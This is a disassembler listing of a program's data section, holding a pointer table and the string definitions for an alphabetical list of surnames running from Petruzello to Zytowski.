dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: .data:0042EBD4o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .data:0042EBD0o
align 4
aZurn db 'Zurn',0 ; DATA XREF: .data:0042EBCCo
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .data:0042EBC8o
aZoldak db 'Zoldak',0 ; DATA XREF: .data:0042EBC4o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: .data:0042EBC0o
aZegans db 'Zegans',0 ; DATA XREF: .data:0042EBBCo
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: .data:0042EBB8o
align 10h
aZahedi db 'Zahedi',0 ; DATA XREF: .data:0042EBB4o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .data:0042EBB0o
aYu db 'Yu',0 ; DATA XREF: .data:0042EBACo
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: .data:0042EBA8o
align 10h
aYoo db 'Yoo',0 ; DATA XREF: .data:0042EBA4o
aYoffe db 'Yoffe',0 ; DATA XREF: .data:0042EBA0o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .data:0042EB9Co
align 4
aYesson db 'Yesson',0 ; DATA XREF: .data:0042EB98o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .data:0042EB94o
aYbarra db 'Ybarra',0 ; DATA XREF: .data:0042EB90o
align 4
aYates db 'Yates',0 ; DATA XREF: .data:0042EB8Co
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:0042EB88o
aYankee db 'Yankee',0 ; DATA XREF: .data:0042EB84o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .data:0042EB80o
align 4
aYacono db 'Yacono',0 ; DATA XREF: .data:0042EB7Co
align 4
aVotey db 'Votey',0 ; DATA XREF: .data:0042EB78o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:0042EB74o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0042EB70o
align 4
aWoods db 'Woods',0 ; DATA XREF: .data:0042EB6Co
align 4
aWooden db 'Wooden',0 ; DATA XREF: .data:0042EB68o
align 4
aWoo db 'Woo',0 ; DATA XREF: .data:0042EB64o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0042EB60o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .data:0042EB5Co
align 4
aVoigt db 'Voigt',0 ; DATA XREF: .data:0042EB58o
align 4
aViviani db 'Viviani',0 ; DATA XREF: .data:0042EB54o
aVitali db 'Vitali',0 ; DATA XREF: .data:0042EB50o
align 4
aWilson db 'Wilson',0 ; DATA XREF: .data:0042EB4Co
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0042EB48o
aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0042EB44o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0042EB40o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: .data:0042EB3Co
align 4
aWilk db 'Wilk',0 ; DATA XREF: .data:0042EB38o
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0042EB34o
aWilder db 'Wilder',0 ; DATA XREF: .data:0042EB30o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: .data:0042EB2Co
aViens db 'Viens',0 ; DATA XREF: .data:0042EB28o
align 10h
aWiener db 'Wiener',0 ; DATA XREF: .data:0042EB24o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0042EB20o
aViano db 'Viano',0 ; DATA XREF: .data:0042EB1Co
align 4
aViana db 'Viana',0 ; DATA XREF: .data:0042EB18o
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0042EB14o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: .data:0042EB10o
align 4
aWhite db 'White',0 ; DATA XREF: .data:0042EB0Co
align 10h
aWhilton db 'Whilton',0 ; DATA XREF: .data:0042EB08o
aWhately db 'Whately',0 ; DATA XREF: .data:0042EB04o
aWetzel db 'Wetzel',0 ; DATA XREF: .data:0042EB00o
align 4
aWescott db 'Wescott',0 ; DATA XREF: .data:0042EAFCo
aVerghese db 'Verghese',0 ; DATA XREF: .data:0042EAF8o
align 4
aVenne db 'Venne',0 ; DATA XREF: .data:0042EAF4o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .data:0042EAF0o
aWelsh db 'Welsh',0 ; DATA XREF: .data:0042EAECo
align 4
aWelles db 'Welles',0 ; DATA XREF: .data:0042EAE8o
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0042EAE4o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .data:0042EAE0o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0042EADCo
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0042EAD8o
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0042EAD4o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .data:0042EAD0o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: .data:0042EACCo
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .data:0042EAC8o
aWasowska db 'Wasowska',0 ; DATA XREF: .data:0042EAC4o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0042EAC0o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0042EABCo
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0042EAB8o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0042EAB4o
aVanallen db 'vanAllen',0 ; DATA XREF: .data:0042EAB0o
align 4
aWalter db 'Walter',0 ; DATA XREF: .data:0042EAACo
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0042EAA8o
align 10h
aWales db 'Wales',0 ; DATA XREF: .data:0042EAA4o
align 4
aValencia db 'Valencia',0 ; DATA XREF: .data:0042EAA0o
align 4
aValberg db 'Valberg',0 ; DATA XREF: .data:0042EA9Co
aWaite db 'Waite',0 ; DATA XREF: .data:0042EA98o
align 4
aVacca db 'Vacca',0 ; DATA XREF: .data:0042EA94o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .data:0042EA90o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .data:0042EA8Co
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0042EA88o
align 4
aUrban db 'Urban',0 ; DATA XREF: .data:0042EA84o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0042EA80o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0042EA7Co
align 4
aUllman db 'Ullman',0 ; DATA XREF: .data:0042EA78o
align 10h
aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0042EA74o
align 4
aTwells db 'Twells',0 ; DATA XREF: .data:0042EA70o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .data:0042EA6Co
align 4
aTurek db 'Turek',0 ; DATA XREF: .data:0042EA68o
align 4
aTurano db 'Turano',0 ; DATA XREF: .data:0042EA64o
align 4
aTukan db 'Tukan',0 ; DATA XREF: .data:0042EA60o
align 4
aTudge db 'Tudge',0 ; DATA XREF: .data:0042EA5Co
align 4
aTuck db 'Tuck',0 ; DATA XREF: .data:0042EA58o
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:0042EA54o
align 10h
aTsomides db 'Tsomides',0 ; DATA XREF: .data:0042EA50o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:0042EA4Co
aTruss db 'Truss',0 ; DATA XREF: .data:0042EA48o
align 4
aTroy db 'Troy',0 ; DATA XREF: .data:0042EA44o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .data:0042EA40o
aTringali db 'Tringali',0 ; DATA XREF: .data:0042EA3Co
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .data:0042EA38o
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: .data:0042EA34o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .data:0042EA30o
align 4
aToye db 'Toye',0 ; DATA XREF: .data:0042EA2Co
align 4
aTowler db 'Towler',0 ; DATA XREF: .data:0042EA28o
align 4
aTorske db 'Torske',0 ; DATA XREF: .data:0042EA24o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: .data:0042EA20o
aTopulos db 'Topulos',0 ; DATA XREF: .data:0042EA1Co
aToomer db 'Toomer',0 ; DATA XREF: .data:0042EA18o
align 4
aTomford db 'Tomford',0 ; DATA XREF: .data:0042EA14o
aTolman db 'Tolman',0 ; DATA XREF: .data:0042EA10o
align 4
aTolls db 'Tolls',0 ; DATA XREF: .data:0042EA0Co
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0042EA08o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: .data:0042EA04o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .data:0042EA00o
aTill db 'Till',0 ; DATA XREF: .data:0042E9FCo
align 4
aTierney db 'Tierney',0 ; DATA XREF: .data:0042E9F8o
aThroop db 'Throop',0 ; DATA XREF: .data:0042E9F4o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: .data:0042E9F0o
aThisted db 'Thisted',0 ; DATA XREF: .data:0042E9ECo
aThibault db 'Thibault',0 ; DATA XREF: .data:0042E9E8o
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: .data:0042E9E4o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0042E9E0o
align 4
aThan db 'Than',0 ; DATA XREF: .data:0042E9DCo
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: .data:0042E9D8o
align 4
aTenney db 'Tenney',0 ; DATA XREF: .data:0042E9D4o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .data:0042E9D0o
align 4
aTemes db 'Temes',0 ; DATA XREF: .data:0042E9CCo
align 4
aTeague db 'Teague',0 ; DATA XREF: .data:0042E9C8o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0042E9C4o
align 4
aTawn db 'Tawn',0 ; DATA XREF: .data:0042E9C0o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: .data:0042E9BCo
aTatar db 'Tatar',0 ; DATA XREF: .data:0042E9B8o
align 10h
aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0042E9B4o
align 4
aTandler db 'Tandler',0 ; DATA XREF: .data:0042E9B0o
aTambiah db 'Tambiah',0 ; DATA XREF: .data:0042E9ACo
aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0042E9A8o
align 4
aTai db 'Tai',0 ; DATA XREF: .data:0042E9A4o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0042E9A0o
aSwindle db 'Swindle',0 ; DATA XREF: .data:0042E99Co
aSweetser db 'Sweetser',0 ; DATA XREF: .data:0042E998o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .data:0042E994o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: .data:0042E990o
align 4
aSuo db 'Suo',0 ; DATA XREF: .data:0042E98Co
aSumner db 'Sumner',0 ; DATA XREF: .data:0042E988o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .data:0042E984o
align 4
aStringer db 'Stringer',0 ; DATA XREF: .data:0042E980o
align 10h
aStreiff db 'Streiff',0 ; DATA XREF: .data:0042E97Co
aStrauch db 'Strauch',0 ; DATA XREF: .data:0042E978o
aStrange db 'Strange',0 ; DATA XREF: .data:0042E974o
aStott db 'Stott',0 ; DATA XREF: .data:0042E970o
align 10h
aStorer db 'Storer',0 ; DATA XREF: .data:0042E96Co
align 4
aStonich db 'Stonich',0 ; DATA XREF: .data:0042E968o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0042E964o
aStockwell db 'Stockwell',0 ; DATA XREF: .data:0042E960o
align 4
aStockton db 'Stockton',0 ; DATA XREF: .data:0042E95Co
align 4
aStock db 'Stock',0 ; DATA XREF: .data:0042E958o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .data:0042E954o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .data:0042E950o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0042E94Co
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0042E948o
aStephanian db 'Stephanian',0 ; DATA XREF: .data:0042E944o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: .data:0042E940o
aStefani db 'Stefani',0 ; DATA XREF: .data:0042E93Co
aStatlender db 'Statlender',0 ; DATA XREF: .data:0042E938o
align 4
aStates db 'States',0 ; DATA XREF: .data:0042E934o
align 10h
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0042E930o
align 10h
aStang db 'Stang',0 ; DATA XREF: .data:0042E92Co
align 4
aStam db 'Stam',0 ; DATA XREF: .data:0042E928o
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: .data:0042E924o
aStmartin db 'StMartin',0 ; DATA XREF: .data:0042E920o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0042E91Co
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0042E918o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0042E914o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: .data:0042E910o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: .data:0042E90Co
aSpence db 'Spence',0 ; DATA XREF: .data:0042E908o
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: .data:0042E904o
aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0042E900o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: .data:0042E8FCo
aSpanier db 'Spanier',0 ; DATA XREF: .data:0042E8F8o
aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0042E8F4o
align 10h
aSoule db 'Soule',0 ; DATA XREF: .data:0042E8F0o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .data:0042E8ECo
align 10h
aSottak db 'Sottak',0 ; DATA XREF: .data:0042E8E8o
align 4
aSorg db 'Sorg',0 ; DATA XREF: .data:0042E8E4o
align 10h
aSorabella db 'Sorabella',0 ; DATA XREF: .data:0042E8E0o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .data:0042E8DCo
align 4
aSomers db 'Somers',0 ; DATA XREF: .data:0042E8D8o
align 10h
aSolon db 'Solon',0 ; DATA XREF: .data:0042E8D4o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .data:0042E8D0o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0042E8CCo
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .data:0042E8C8o
aSmilow db 'Smilow',0 ; DATA XREF: .data:0042E8C4o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .data:0042E8C0o
align 4
aSloan db 'Sloan',0 ; DATA XREF: .data:0042E8BCo
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .data:0042E8B8o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .data:0042E8B4o
align 4
aSkane db 'Skane',0 ; DATA XREF: .data:0042E8B0o
align 4
aSites db 'Sites',0 ; DATA XREF: .data:0042E8ACo
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .data:0042E8A8o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0042E8A4o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0042E8A0o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .data:0042E89Co
align 4
aSigna db 'Signa',0 ; DATA XREF: .data:0042E898o
align 10h
aSigini db 'Sigini',0 ; DATA XREF: .data:0042E894o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .data:0042E890o
aSiesto db 'Siesto',0 ; DATA XREF: .data:0042E88Co
align 4
aShimon db 'Shimon',0 ; DATA XREF: .data:0042E888o
align 10h
aShibata db 'Shibata',0 ; DATA XREF: .data:0042E884o
aShia db 'Shia',0 ; DATA XREF: .data:0042E880o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: .data:0042E87Co
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .data:0042E878o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .data:0042E874o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: .data:0042E870o
align 4
aSheats db 'Sheats',0 ; DATA XREF: .data:0042E86Co
align 4
aShea db 'Shea',0 ; DATA XREF: .data:0042E868o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: .data:0042E864o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .data:0042E860o
aShar db 'Shar',0 ; DATA XREF: .data:0042E85Co
align 4
aShanley db 'Shanley',0 ; DATA XREF: .data:0042E858o
aShankland db 'Shankland',0 ; DATA XREF: .data:0042E854o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .data:0042E850o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: .data:0042E84Co
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0042E848o
aSexton db 'Sexton',0 ; DATA XREF: .data:0042E844o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0042E840o
align 4
aSennett db 'Sennett',0 ; DATA XREF: .data:0042E83Co
aSen db 'Sen',0 ; DATA XREF: .data:0042E838o
aSelvage db 'Selvage',0 ; DATA XREF: .data:0042E834o
aSekler db 'Sekler',0 ; DATA XREF: .data:0042E830o
align 4
aSegal db 'Segal',0 ; DATA XREF: .data:0042E82Co
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .data:0042E828o
align 4
